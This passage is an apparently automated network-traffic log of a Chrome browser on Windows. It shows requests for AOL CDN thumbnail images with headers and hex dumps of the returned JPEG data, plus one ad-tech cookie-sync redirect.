2024-05-23 22:35:00 UTC	1134	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 779 Cache-Control: public, max-age=2592000 Cache-Tag: 385299480975236794453436102495515348809,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21981-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: 0929880e95cd5df48a86f4cbea9e23fb cld_latency: 471 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:00 GMT Edge-Cache-Tag: 385299480975236794453436102495515348809,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e Etag: "2b1f8fff010d419dc4263dd7cb0bf2dd" Last-Modified: Thu, 23 May 2024 22:20:35 GMT Server: ECAcc (lhd/35A8) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=400,height=300,bytes=36746,owidth=1936,oheight=1452,obytes=490377,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: 0929880e95cd5df48a86f4cbea9e23fb X-Served-By: cache-lga21981-LGA X-Timer: S1716502924.599900,VS0,VE471 Content-Length: 36746 Connection: close
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 06 06 06 06 07 06 07 08 08 07 0a 0b 0a 0b 0a 0f 0e 0c 0c 0e 0f 16 10 11 10 11 10 16 22 15 19 15 15 19 15 22 1e 24 1e 1c 1e 24 1e 36 2a 26 26 2a 36 3e 34 32 34 3e 4c 44 44 4c 5f 5a 5f 7c 7c a7 01 0c 0c 0c 0c 0c 0c 0d 0e 0e 0d 12 13 11 13 12 1b 18 16 16 18 1b 28 1d 1f 1d 1f 1d 28 3d 26 2d 26 26 2d 26 3d 36 42 35 32 35 42 36 61 4c 44 44 4c 61 70 5e 59 5e 70 88 7a 7a 88 ab a3 ab e0 e0 ff ff c2 00 11 08 01 2c 01 90 03 01 11 00 02 11 01 03 11 01 ff c4 00 35 00 00 02 03 01 01 01 01 01 00 00 00 00 00 00 00 00 05 06 03 04 07 02 01 08 00 09 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 4d cd 34 b3 b8 d6 f3 cf 44 2c bc 5d a6 Data Ascii: JFIF""$$6&&6>424>LDDL_Z_\|\|((=&-&&-&=6B525B6aLDDLap^Y^pzz,5M4D,]
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: 62 2b 66 f8 31 5f 7d bc cc e2 c8 f0 60 c6 aa 00 be d1 00 03 69 91 35 2e 9f 27 e4 b8 ee a0 12 c6 84 1c 00 3d 0c 06 67 f6 8f cc 51 76 7c 40 ea bd a8 c6 3a 8d 81 50 03 04 68 bc 4f e7 3e 12 5f b0 41 8d 01 f6 2c d0 b7 ed 1f f5 2d 47 81 19 f7 da 0b 8c be 40 30 e3 5f ea 20 0a bd a1 e7 d0 f1 f2 8e f2 c9 88 2e e3 93 a5 45 0a aa 30 d0 da 1a a8 8d 62 0e 26 35 b3 66 75 4f a5 08 d2 0e a8 9c 41 57 42 31 1a 92 f7 fb 43 f5 02 2a 74 e6 d9 87 88 f4 13 57 26 e0 75 6e 0c b9 56 40 1c 98 4b 6b d0 17 70 77 9d 47 4a 99 0e a3 66 bb 4c 4d 68 07 75 84 7a 09 9f da 3f 31 34 d9 d5 c4 18 99 b7 e0 42 a5 79 80 c0 63 45 e2 7f 39 ad fc cd 4e 7b 99 4f 34 34 d0 7c 4f 31 8e 4b 30 96 8d c0 87 d0 f1 f2 ac 22 29 20 ad 79 80 d5 0f 32 c8 62 61 5d 84 07 eb 20 43 94 e9 da 61 ea 4d 0c 7d ef 99 90 1b Data Ascii: b+f1_}`i5.'=gQv\|@:PhO>_A,-G@0_ .E0b&5fuOAWB1C*tW&unV@KkpwGJfLMhuz?14BycE9N{O44\|O1K0") y2ba] CaM}
2024-05-23 22:35:00 UTC	3980	IN	Data Raw: ab 7c 47 d9 26 d9 83 35 73 c1 bd a1 91 c7 46 71 90 4d 39 3a 49 50 48 89 1f 45 d0 35 18 1c bb 1d ba 56 da 57 51 50 c5 ce e6 69 08 50 c5 c0 fc 01 2d 15 e0 dd 56 28 fa 58 12 ac 3c c5 1b a8 3f ca 01 14 30 63 d9 a4 db ee 9f d6 ad 99 ff 00 29 fd 6a 30 2a 4d 12 3c f3 5c 4b 5c 1b dd 42 ca a4 1f be 5b 14 38 6e ea 9a ae 55 ee 26 e1 cb bd e2 58 13 fc 35 69 7b 0d 11 46 e9 c4 a0 ed ea 69 1a 51 b4 06 55 63 aa 30 2a ed 8b 80 82 15 c6 82 46 da 85 41 16 b5 6b d7 be a2 69 48 8b 98 65 2e 0c 8e c2 ad b9 d0 cb a7 f6 56 59 d4 07 de 20 13 41 26 d1 68 d0 82 3c 43 3d cd 32 86 65 46 05 95 39 49 41 03 48 a6 66 55 07 4d b5 99 2f 90 27 26 8a 28 f0 ed 3e ac 96 45 00 98 93 b9 9a 0d a6 cb 3a a9 f6 b1 bd 4a de 53 ab bd b6 33 07 df b5 45 c1 75 99 80 38 20 13 1b 51 53 61 7d d0 31 44 11 c4 Data Ascii: \|G&5sFqM9:IPHE5VWQPiP-V(X<?0c)j0M<\K\B[8nU&X5i{FiQUc0FAkiHe.VY A&h<C=2eF9IAHfUM/'&(>E:JS3Eu8 QSa}1D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.6	50060	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	571	OUT	GET /images/dims?quality=80&thumbnail=500%2C500%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_insider_articles_823%2Fd52b20a7b736dcb9c14eb87515b8b5b8&client=76f99bdb8f78cd44cc0b&signature=a9e3ab5f8833ee12bf23781da21871c0b80dcd41 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	1134	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 776 Cache-Control: public, max-age=2592000 Cache-Tag: 327571915527804521673552094212849699274,235340640676375132590402367885429670181,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21952-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 59e38515ea9a07c1c33af807c3caff6d cld_latency: 646 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:00 GMT Edge-Cache-Tag: 327571915527804521673552094212849699274,235340640676375132590402367885429670181,ae7a14591aaf8d474cdb3f92111c923e Etag: "dafcabca14fe336b73415cfa63fded79" Last-Modified: Thu, 23 May 2024 22:22:05 GMT Server: ECAcc (lhd/35C1) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=500,height=500,bytes=68669,owidth=4032,oheight=3024,obytes=2310323,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Request-Id: 59e38515ea9a07c1c33af807c3caff6d X-Served-By: cache-lga21952-LGA X-Timer: S1716502924.292066,VS0,VE646 Content-Length: 68669 Connection: close
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 05 05 05 05 05 05 06 06 06 06 08 09 08 09 08 0c 0b 0a 0a 0b 0c 12 0d 0e 0d 0e 0d 12 1b 11 14 11 11 14 11 1b 18 1d 18 16 18 1d 18 2b 22 1e 1e 22 2b 32 2a 28 2a 32 3c 36 36 3c 4c 48 4c 64 64 86 01 05 05 05 05 05 05 06 06 06 06 08 09 08 09 08 0c 0b 0a 0a 0b 0c 12 0d 0e 0d 0e 0d 12 1b 11 14 11 11 14 11 1b 18 1d 18 16 18 1d 18 2b 22 1e 1e 22 2b 32 2a 28 2a 32 3c 36 36 3c 4c 48 4c 64 64 86 ff c2 00 11 08 01 f4 01 f4 03 01 22 00 02 11 01 03 11 01 ff c4 00 35 00 00 01 04 03 01 01 00 00 00 00 00 00 00 00 00 00 05 03 04 06 07 00 02 08 01 09 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 00 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 ad 66 55 34 eb c3 eb 5c bc 39 cf 26 76 Data Ascii: JFIF+""+2(2<66<LHLdd+""+2(2<66<LHLdd"5fU4\9&v
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: ea 3a 53 ea f2 8c 6b 8c 95 a3 9e 38 e2 54 51 18 d2 9f d7 ec f3 d1 b4 ac ae b6 0d bc da cb f4 66 bf d8 fd 3b ca 79 08 89 8b 09 25 24 74 7b f0 74 47 7e a3 d4 ff 00 83 ff 00 c0 65 ec 1f ca a8 03 bf 0b ff 00 b1 87 98 72 0f 8d 23 fb fa fc cb 59 0b 31 af 47 9d 5e a7 0a c6 28 0f a8 38 d2 fb 09 85 0f a9 bc 7a 0f 54 7b f0 73 ae 11 34 a9 f3 72 1e 53 f5 23 19 1e 65 c9 99 57 53 93 68 3d 99 98 70 fa b2 10 5e e5 ce 1d 35 49 1b f6 0e 3a cc c1 42 1c 68 81 f8 85 07 c3 94 7a 1f b2 4c 89 80 e9 e9 9c 7d 3f ee fd 34 e1 ee 45 11 97 ed 22 a1 a3 28 1d 47 2d 10 50 97 86 27 d4 e3 76 fe ea a9 a6 df aa 48 6d 61 4d 8f f5 3f ea 26 4f 42 0e 47 9f ff 00 12 9c a2 a3 88 f4 71 aa 7f c4 77 1e b9 d2 e8 71 da d2 fd 3b fa a1 9f 3d 7a 95 6e 70 6b b8 bb 53 63 5e 8b 56 a4 b5 5d a2 95 74 94 ba 51 Data Ascii: :Sk8TQf;y%$t{tG~er#Y1G^(8zT{s4rS#eWSh=p^5I:BhzL}?4E"(G-P'vHmaM?&OBGqwq;=znpkSc^V]tQ
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: 97 26 36 0d e2 cb b8 be c1 a6 76 74 c8 ca 5d cf 3c 4d 8a 08 05 8d 91 dc c2 8b 7d 0f f3 06 35 23 85 1d 61 15 54 16 7a bf 72 ff 00 10 63 d6 a8 6f ec ad 05 b0 77 51 27 e6 26 10 75 58 99 75 08 51 81 22 8d 53 7c f8 99 7c c5 50 15 d0 11 cf bc 61 ab 62 85 31 e3 63 76 d6 df ea e3 60 d5 e5 52 a5 7c b5 af 89 4f a8 1f e2 60 c0 71 e3 0b d7 ad 9a e6 7e 56 d9 5f 6b d0 ec 05 03 17 31 c7 e8 c4 ab 7d b7 1e 93 26 a3 3e e6 c8 c9 b8 58 24 d9 23 8f 61 50 7e 2b 97 22 02 94 08 1c 8d b1 4e 77 f5 64 2b 7f 7f fe 26 5f 30 a8 55 16 43 58 2c 66 9f 0e a1 05 bb 27 3d 40 53 06 2c 7f af 38 1e e3 ff 00 c6 79 3a 42 45 e6 6f b4 c7 83 46 58 9d f9 22 e1 d2 8a ac 8f c7 48 3f 0d fc 3b 73 9d cd 6c 6c d9 eb 1f 45 a6 c9 b6 9f a1 14 05 41 a2 5c 60 ed 63 c9 b8 fc 02 b6 0d 42 e2 f9 8e ca ce 49 6a 9f Data Ascii: &6vt]<M}5#aTzrcowQ'&uXuQ"S\|\|Pab1cv`R\|O`q~V_k1}&>X$#aP~+"Nwd+&_0UCX,f'=@S,8y:BEoFX"H?;sllEA\`cBIj
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: 25 38 cf 17 7d df e0 8d 2a 31 e0 1d cf c9 a4 34 58 f8 c6 b6 1f c2 01 a7 2d cb 73 33 03 e8 d7 15 ea 90 f3 f3 02 91 07 73 b0 50 3d 09 02 92 25 3c 01 01 47 a7 1a ec 77 99 59 6f f4 a8 42 da d6 c9 a8 bc 85 ff 00 ce 91 49 f3 a5 36 ee a7 04 db 65 86 41 1c 2d 40 b4 92 31 4e e0 ac b7 06 dc 87 79 a9 f5 8e a1 19 d2 24 2c 41 b5 99 49 5c 28 1c 2e 6b a3 3a 21 15 02 2b 4f 30 05 17 b9 40 c7 ce ba 43 5f 61 f0 68 62 2b 13 7f 68 86 5f 9d 4d 33 f7 eb 75 36 bf a2 b4 a2 bf d9 dd 29 50 2e 44 42 76 f5 da 22 35 a3 89 79 0d 3e 97 ab ff 00 1b bd 48 47 ee 45 ff 00 45 26 a5 6d 98 e5 45 b1 f6 14 ba 6e 8d d6 2b 18 a4 10 03 2c 33 25 c3 c7 be 35 dd cf 99 ae 96 e9 08 4e a2 31 be 42 4b a7 5a ae bd 9d cd 7b 56 83 45 0a 31 2d 0c 71 c7 d7 ca c9 c4 39 6d cc 6e 79 2a 8a 69 3a 3c de 74 5d f6 58 Data Ascii: %8}14X-s3sP=%<GwYoBI6eA-@1Ny$,AI\(.k:!+O0@C_ahb+h_M3u6)P.DBv"5y>HGEE&mEn+,3%5N1BKZ{VE1-q9mnyi:<t]X
2024-05-23 22:35:00 UTC	3137	IN	Data Raw: 37 39 f0 f4 ee ab a8 66 be 2d c0 db 9d 60 03 c3 ba d6 ab de f9 bd 5f 68 bf 0f 0a f3 f2 ee ac 82 70 a7 8d 85 3a 19 39 a9 ed 01 47 72 2f c4 d9 6a b9 39 19 bd 02 07 11 81 4d 80 71 c8 51 00 5b 87 3a 52 c0 58 5b 88 ad b9 cd f3 40 5f 37 18 1e d5 80 2c 0f 3a e7 8f 1e fa 50 cb 70 84 e4 81 e1 49 c6 e0 70 a0 a3 e9 e5 47 20 77 0b 57 5f a5 1f f1 14 7c 23 f6 87 2a 93 6b 39 08 1b 8e 2e 2f e1 7a c7 7d 5e dc f8 da ac 06 08 ab 00 2d 8a 27 99 af ca 87 78 f0 c5 0b 1e 77 b5 ad 44 90 2f c2 df 62 aa 8e 6d c2 89 03 27 04 2e 47 22 68 03 ce 80 f0 e3 c6 ac 2f ca bc 87 d9 85 39 a3 7b 60 1a ed 5e f8 a3 8a b8 b6 68 af 98 b5 5d 8e 15 46 6f 7a bc 87 d8 0e e1 f6 30 61 cc 50 d4 c1 c8 39 b3 a9 e4 ca dd e3 91 a2 a7 03 7c 91 87 57 b0 b0 de 0d c5 fb cd 68 8a a5 c8 1a 7d 3b 2e ef 32 ae cb 4c Data Ascii: 79f-`_hp:9Gr/j9MqQ[:RX[@_7,:PpIpG wW_\|#*k9./z}^-'xwD/bm'.G"h/9{`^h]Foz0aP9\|Wh};.2L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.6	50059	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	575	OUT	GET /images/dims?quality=80&thumbnail=500%2C500%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_usatoday_us_articles_590%2F14da1afdf0a24cd1b7d13a3786fb36f8&client=76f99bdb8f78cd44cc0b&signature=e2b7af1232274c55c541a44dd133172a67f48d1f HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 34276 Cache-Control: public, max-age=2592000 Cache-Tag: 456955186125287406716993207142984809319,235340640676375132590402367885429670181,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21978-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 822d623205361d8a96d1efc8ed924023 cld_latency: 2 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:00 GMT Edge-Cache-Tag: 456955186125287406716993207142984809319,235340640676375132590402367885429670181,ae7a14591aaf8d474cdb3f92111c923e Etag: "991e9b3c300070b284de33e2cf417e04" Last-Modified: Thu, 23 May 2024 09:18:23 GMT Server: ECAcc (lhd/35DE) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=500,height=500,bytes=64732,owidth=4032,oheight=3024,obytes=1809722,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Request-Id: 822d623205361d8a96d1efc8ed924023 X-Served-By: cache-lga21978-LGA X-Timer: S1716469424.399908,VS0,VE2 Content-Length: 64732 Connection: close
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 15 0e 0c 0b 0b 0c 19 12 13 0f 15 1e 1b 20 1f 1e 1b 1d 1d 21 25 30 29 21 23 2d 24 1d 1d 2a 39 2a 2d 31 33 36 36 36 20 28 3b 3f 3a 34 3e 30 35 36 33 ff db 00 43 01 0f 10 10 15 12 15 29 17 17 29 57 3a 31 3a 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 ff c2 00 11 08 01 f4 01 f4 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 04 05 03 06 01 02 07 00 08 ff c4 00 1a 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b6 7a fe 4e 03 21 Data Ascii: JFIFC !%0)!#-$9-13666 (;?:4>0563C))W:1:WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWzN!
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: 92 6d 92 80 ce 2b c0 57 6a 06 d6 c4 68 eb 2b d2 48 ad 0a f0 eb 3c 7e 32 62 30 fa 8c 9e b2 46 27 0d 02 5f b8 7e 95 0f 67 72 16 38 e2 fc 08 d4 1b 84 b2 a5 a2 fb a1 d6 ed 3e ca f0 0c e7 1c aa 4a 36 da 53 40 1c 2e 99 16 13 8d 41 db 5f 63 6c 03 d8 57 5d a7 d8 77 c3 4e 5e a5 cf cc 7b aa 04 76 c8 fb be c2 61 6a 1f ba 68 f5 e3 15 0c 46 24 e7 c7 a8 82 ea 49 a7 fa 52 ea 11 07 65 20 a8 57 53 20 6f 1e f2 18 25 3d c1 02 a3 fc a6 20 7f 2e a2 24 96 85 f9 99 6e b9 09 3c 98 a4 1d 4b 22 c7 af cc e6 8b 18 be c8 ae b2 05 e4 12 42 f3 ec 96 ac ad 1e 90 11 22 7c 1c 0f 67 10 ab 2d 3e a3 28 4b 2b c8 04 ce a2 df 92 e5 3e e5 04 c4 cf e3 e0 c9 67 52 e6 04 ac 60 57 80 9b 04 05 32 50 32 2b f2 98 f7 30 7b 89 81 b4 43 13 19 17 9a 6b ea 30 6f 4c 00 c4 e7 b0 6a b8 9b 58 ef db 6d 86 0b 44 Data Ascii: m+Wjh+H<~2b0F'_~gr8>J6S@.A_clW]wN^{vajhF$IRe WS o%= .$n<K"B"\|g->(K+>gR`W2P2+0{Ck0oLjXmD
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: 66 d2 b5 9c b6 a3 6a 5d 8d 51 1f 1a d1 18 5a cf 89 37 da 32 2a 93 46 75 52 17 96 2c 9b 5e b3 96 d4 64 5f db f7 e3 87 d2 e4 cb 1b 8a 25 17 07 b5 f7 a3 90 dd e8 9b 42 9f ec 8a e0 cc b6 2b 67 a5 83 cd 64 a1 25 de 95 e0 fa 30 7e 57 66 46 9c 9b 42 fc 44 fe c1 bb f0 94 a8 97 64 5d 4a c8 bf 06 d2 56 c9 cd c9 d8 d9 76 2f 34 7a 6c cf 1f 04 da 93 b4 7a 98 f4 c5 e0 b5 c3 3b 54 f4 cb f8 90 8f d5 c5 5f 28 69 c5 d3 d6 29 c9 a4 8c 10 50 82 8a 3f 93 c3 ca c8 b4 7a e2 c4 e6 ff 00 c1 0c 51 82 e1 09 23 f9 0c cb fe 42 c1 23 f8 dc a9 45 c5 2e 8c b3 53 97 1e 0d e8 cf a7 4a d9 17 cd 11 e6 3b 57 62 c6 f6 34 49 34 f9 2c dc 39 69 31 74 62 9d aa 13 d7 36 4b 74 86 c6 c5 df b0 84 e8 c5 2b 33 ab 8f b1 19 6d 76 46 4a 4a c9 ab 46 25 f4 e7 57 d9 ea a1 fd 96 be 8f 1e e9 d9 13 d7 c5 3c 57 Data Ascii: fj]QZ72*FuR,^d_%B+gd%0~WfFBDd]JVv/4zlz;T_(i)P?zQ#B#E.SJ;Wb4I4,9i1tb6Kt+3mvFJJF%W<W
2024-05-23 22:35:00 UTC	15583	IN	Data Raw: 3f 4a 11 cb 1b d1 0b fb b3 ce 94 06 e4 d1 8f 2a 6b 81 bb a4 98 02 36 8c 78 52 05 0b 8c ce 39 55 97 ce e1 48 fc eb b6 e1 48 21 d4 2c 95 e8 62 79 55 d7 b9 71 b5 82 a0 05 78 d8 91 c8 57 0e 3b d0 8a 13 2a 3c 4d 17 b2 1a 0d e2 75 80 73 b8 99 dc 55 ab ca ce 7e ee d8 82 bd 4f 99 e9 e1 56 ca 1e fa 0b f6 e5 88 3c c4 f8 fd 05 3d fb dc 45 ed 0b c2 a2 e0 62 64 f2 13 1b f8 57 6c dc 41 c8 bc 35 22 81 32 c7 96 04 d1 94 66 ff 00 0d 40 83 d3 1d 08 35 a4 ea 45 ed ca c6 a5 98 6d ff 00 8a 07 c6 9d 82 7d d9 ec 98 15 76 31 8f 03 bc 9a 5b 00 36 12 46 40 f3 1b 73 35 fb 55 b0 b2 ca 82 18 f5 df 1b fc a9 52 d8 2c 81 ad f2 26 70 4f 23 e5 bd 5b b9 c2 aa 29 60 c7 71 1f bd d6 39 d7 70 80 c5 98 02 f2 06 df 4a 44 66 8e fa 0c 13 1d 3c 62 ad eb 56 dd b7 00 f3 9f eb 6a 0d 78 29 02 e2 bc 12 Data Ascii: ?Jk6xR9UHH!,byUqxW;<MusU~OV<=EbdWlA5"2f@5Em}v1[6F@s5UR,&pO#[)`q9pJDf<bVjx)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.6	50081	54.165.165.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	1318	OUT	GET /sync?nid=13&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
2024-05-23 22:35:00 UTC	258	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 23 May 2024 22:35:00 GMT Location: https://eb2.3lift.com/xuid?mid=2319&xuid=0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee$ip$8.46.123.175&dongle=4430 Content-Length: 138 Connection: Close
2024-05-23 22:35:00 UTC	138	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 32 33 31 39 26 61 6d 70 3b 78 75 69 64 3d 30 2d 63 30 33 34 36 32 64 64 2d 38 64 35 37 2d 35 61 65 37 2d 36 64 63 39 2d 65 37 33 39 32 38 61 62 65 33 65 65 24 69 70 24 38 2e 34 36 2e 31 32 33 2e 31 37 35 26 61 6d 70 3b 64 6f 6e 67 6c 65 3d 34 34 33 30 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://eb2.3lift.com/xuid?mid=2319&xuid=0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee$ip$8.46.123.175&dongle=4430">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.6	50069	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	765	OUT	GET /images/dims?thumbnail=200%2C200%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fam%2F60d%2F46063723c8168ec623070ebddfba52dd&client=76f99bdb8f78cd44cc0b&signature=78c607183671b4e9d7f18dfbdfda68fa9f257a77 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	1131	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2826 Cache-Control: public, max-age=2592000 Cache-Tag: 457614407190179086354728135388397195040,218563290072657596643660937366443122358,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21978-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: b93b4c2b31b181ff99e6bd129dfe4394 cld_latency: 573 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:00 GMT Edge-Cache-Tag: 457614407190179086354728135388397195040,218563290072657596643660937366443122358,ae7a14591aaf8d474cdb3f92111c923e Etag: "1d2baa0f1fb1d157c4eb518f8c2ff2e9" Last-Modified: Thu, 23 May 2024 21:47:55 GMT Server: ECAcc (lhd/35BD) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=200,height=200,bytes=10080,owidth=1200,oheight=800,obytes=144836,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: b93b4c2b31b181ff99e6bd129dfe4394 X-Served-By: cache-lga21978-LGA X-Timer: S1716500874.182458,VS0,VE573 Content-Length: 10080 Connection: close
